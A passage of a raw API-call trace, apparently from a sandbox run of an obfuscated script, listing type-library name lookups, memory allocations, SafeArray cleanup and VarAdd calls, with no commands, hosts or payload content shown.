cb=0x11) returned 0x79720e0 [0019.327] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_EvsDXJTPT", lHashVal=0x109f3c, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.327] IUnknown:Release (This=0x7919520) returned 0x12 [0019.327] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.327] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_EvsDXJTPT", lHashVal=0x109f3c, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.327] IUnknown:Release (This=0x7346470) returned 0xb [0019.327] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.327] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_EvsDXJTPT", lHashVal=0x109f3c, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.327] IUnknown:Release (This=0x7345930) returned 0x7 [0019.327] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.327] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_EvsDXJTPT", lHashVal=0x109f3c, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.327] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.327] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.327] IUnknown:Release (This=0x7919520) returned 0x12 [0019.327] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd720000 [0019.329] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="hUHSdMQcb") returned 0x10ab5b [0019.329] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="hUHSdMQcb" | out: _Dst="hUHSdMQcb") returned 0x0 [0019.329] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="hUHSdMQcb") returned 10 [0019.329] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.329] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="hUHSdMQcb", lHashVal=0x10ab5b, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.329] IUnknown:Release (This=0x7919520) returned 0x12 [0019.329] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.329] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x79720e0 [0019.329] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd730000 [0019.330] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="dNjrH") returned 0x100815 [0019.330] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x79720e0 [0019.331] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ZUhYOWIRGG") returned 0x106df8 [0019.331] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x79720e0 [0019.331] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd740000 [0019.332] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="vUziB") returned 0x100657 [0019.332] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x79720e0 [0019.332] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd750000 [0019.333] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ucAhLIn") returned 0x104064 [0019.333] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x79720e0 [0019.333] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd760000 [0019.334] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ZIGaTnVqaVP") returned 0x106c98 [0019.334] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x79720e0 [0019.334] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RzjiZUBST") returned 0x105ad4 [0019.334] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x79720e0 [0019.335] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd770000 [0019.336] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="IQACJYswHdW") returned 0x100e8e [0019.336] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x79720e0 [0019.336] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="rViWlfi") returned 0x1086ce [0019.336] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x79720e0 [0019.336] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd780000 [0019.337] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CSNMJMvk") returned 0x1016ba [0019.337] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x79720e0 [0019.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="uldQs") returned 0x100d10 [0019.338] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x79720e0 [0019.338] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd790000 [0019.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ALqATiOjOIw") returned 0x10c5ea [0019.340] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x79720e0 [0019.340] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd7a0000 [0019.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="SDjaponbZw") returned 0x10c507 [0019.341] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x79720e0 [0019.342] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd7b0000 [0019.343] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="whNjPWqPQrr") returned 0x104b68 [0019.343] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x79720e0 [0019.343] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="bIpKNmjNOnS") returned 0x1003bc [0019.343] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x79720e0 [0019.343] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd7c0000 [0019.345] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LmpibItWIt") returned 0x101131 [0019.345] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x79720e0 [0019.345] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd7d0000 [0019.346] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="uwQKumS") returned 0x108053 [0019.346] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x79720e0 [0019.346] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="WVDiYtT") returned 0x10d4bc [0019.346] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x79720e0 [0019.347] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd7e0000 [0019.348] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="oJoVa") returned 0x1051bd [0019.348] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x79720e0 [0019.348] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd7f0000 [0019.349] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd800000 [0019.350] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd810000 [0019.351] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd820000 [0019.353] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd830000 [0019.354] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd840000 [0019.355] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0xd850000 [0019.356] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd860000 [0019.357] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd870000 [0019.358] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd880000 [0019.360] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd890000 [0019.367] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd9f0000 [0019.383] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0xdbf0000 [0019.394] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.394] IUnknown:Release (This=0x7919520) returned 0x12 [0019.399] IMalloc:Free (This=0x7fefe9e5380, pv=0x790c220) [0019.400] SafeArrayAllocDescriptorEx (in: vt=0x0, cDims=0x1, ppsaOut=0x7a7e218 | out: ppsaOut=0x7a7e218) returned 0x0 [0019.400] SafeArrayAllocData (psa=0x75ed760) returned 0x0 [0019.400] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.400] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.401] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.401] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.401] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.401] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.402] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.402] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.402] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.402] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.402] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.402] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.403] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.403] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.403] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.403] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.404] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.404] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.404] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.404] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.405] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.405] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.405] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.405] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.406] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.406] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.406] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.406] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.407] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.407] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.407] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.407] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.407] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.407] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.408] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.408] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.408] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.408] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.409] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.409] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.409] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.409] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.410] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.410] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.410] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.410] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.410] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.410] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.411] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.411] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.411] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.411] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.412] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.412] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.412] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.412] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.412] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.412] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.412] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.412] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.412] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.412] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.412] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.412] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.413] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.413] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.413] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.413] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.413] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.413] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.413] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.413] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.413] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.413] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.413] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.413] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.413] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.413] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.413] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.413] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.413] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.413] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.413] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.413] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.414] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.414] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.414] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.414] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.414] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.414] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.414] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.414] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.414] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.414] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.414] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.414] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.414] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.414] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.414] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.414] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.414] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.414] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.414] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.415] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.415] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.415] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.415] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.415] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.415] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.415] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.415] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.415] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.415] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.415] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.415] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.415] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.415] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.415] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.415] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.415] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.415] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.415] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.415] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.416] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.416] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.416] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.416] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.416] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.416] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.416] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.416] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.416] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.416] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.416] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.416] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.416] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.416] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.416] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.416] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.416] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.416] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.416] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.417] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.417] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.417] SafeArrayDestroyData (psa=0x75ed760) returned 0x0 [0019.417] SafeArrayDestroyDescriptor (psa=0x75ed760) returned 0x0 [0019.417] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.417] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.417] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.417] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.417] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.417] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.417] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.417] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.417] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.417] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.417] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.417] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.417] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.417] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.417] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.417] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.417] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.417] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.417] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.418] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.418] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.418] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.418] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.418] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.418] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.418] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.418] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.418] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.418] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.418] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.418] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.418] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.418] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.418] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.418] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.418] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.418] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.418] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.418] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.418] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.418] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.418] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.419] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.419] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.419] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.419] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.419] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.419] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.419] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.419] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.419] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.419] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.419] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.419] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.419] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.419] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.419] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.419] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.419] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.419] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.419] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.419] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.419] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.419] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.419] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.419] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.420] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.420] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.420] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.420] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.420] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.420] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.420] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.420] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.420] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.420] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.420] VarAdd (in: pvarLeft=0x7a7d360, pvarRight=0x7a7dfc0, pvarResult=0x7a7e200 | out: pvarResult=0x7a7e200) returned 0x0 [0019.420] VarAdd (in: pvarLeft=0x7a7e200, pvarRight=0x7a7d600, pvarResult=0x7a7e1e8 | out: pvarResult=0x7a7e1e8) returned 0x0 [0019.420] VarAdd (in: pvarLeft=0x7a7e1e8, pvarRight=0x7a7da80, pvarResult=0x7a7e1d0 | out: pvarResult=0x7a7e1d0) returned 0x0 [0019.420] VarAdd (in: pvarLeft=0x7a7e1d0, pvarRight=0x7a7d960, pvarResult=0x7a7e1b8 | out: pvarResult=0x7a7e1b8) returned 0x0 [0019.420] VarAdd (in: pvarLeft=0x7a7e1b8, pvarRight=0x7a7dd80, pvarResult=0x7a7e1a0 | out: pvarResult=0x7a7e1a0) returned 0x0 [0019.420] VarAdd (in: pvarLeft=0x7a7e1a0, pvarRight=0x7a7df00, pvarResult=0x7a7e188 | out: pvarResult=0x7a7e188) returned 0x0 [0019.420] VarAdd (in: pvarLeft=0x7a7e188, pvarRight=0x7a7d3c0, pvarResult=0x7a7e170 | out: pvarResult=0x7a7e170) returned 0x0 [0019.420] VarAdd (in: pvarLeft=0x7a7e170, pvarRight=0x7a7d8a0, pvarResult=0x7a7e158 | out: pvarResult=0x7a7e158) returned 0x0 [0019.420] VarAdd (in: pvarLeft=0x7a7e158, pvarRight=0x7a7e080, pvarResult=0x7a7e140 | out: pvarResult=0x7a7e140) returned 0x0 [0019.420] VarAdd (in: pvarLeft=0x7a7e140, pvarRight=0x7a7dc60, pvarResult=0x7a7d318 | out: pvarResult=0x7a7d318) returned 0x0 [0019.420] VarAdd (in: pvarLeft=0x7a7d318, pvarRight=0x7a7dc00, pvarResult=0x7a7d300 | out: pvarResult=0x7a7d300) returned 0x0 [0019.420] VarAdd (in: pvarLeft=0x7a7d300, pvarRight=0x7a7d480, pvarResult=0x7a7d2e8 | out: pvarResult=0x7a7d2e8) returned 0x0 [0019.420] VarAdd (in: pvarLeft=0x7a7d2e8, pvarRight=0x7a7d7e0, pvarResult=0x7a7d2d0 | out: pvarResult=0x7a7d2d0) returned 0x0 [0019.420] VarAdd (in: pvarLeft=0x7a7d2d0, pvarRight=0x7a7d6c0, pvarResult=0x7a7d2b8 | out: pvarResult=0x7a7d2b8) returned 0x0 [0019.420] VarAdd (in: pvarLeft=0x7a7d2b8, pvarRight=0x7a7dba0, pvarResult=0x7a7d2a0 | out: pvarResult=0x7a7d2a0) returned 0x0 [0019.420] VarAdd (in: pvarLeft=0x7a7d2a0, pvarRight=0x7a7d720, pvarResult=0x7a7d288 | out: pvarResult=0x7a7d288) returned 0x0 [0019.420] VarAdd (in: pvarLeft=0x7a7d288, pvarRight=0x7a7d540, pvarResult=0x7a7d270 | out: pvarResult=0x7a7d270) returned 0x0 [0019.420] VarAdd (in: pvarLeft=0x7a7d270, pvarRight=0x7a7db40, pvarResult=0x7a7d258 | out: pvarResult=0x7a7d258) returned 0x0 [0019.420] VarAdd (in: pvarLeft=0x7a7d258, pvarRight=0x7a7d780, pvarResult=0x7a7d240 | out: pvarResult=0x7a7d240) returned 0x0 [0019.420] VarAdd (in: pvarLeft=0x7a7d240, pvarRight=0x7a7e0e0, pvarResult=0x7a7d228 | out: pvarResult=0x7a7d228) returned 0x0 [0019.420] VarAdd (in: pvarLeft=0x7a7d228, pvarRight=0x7a7de40, 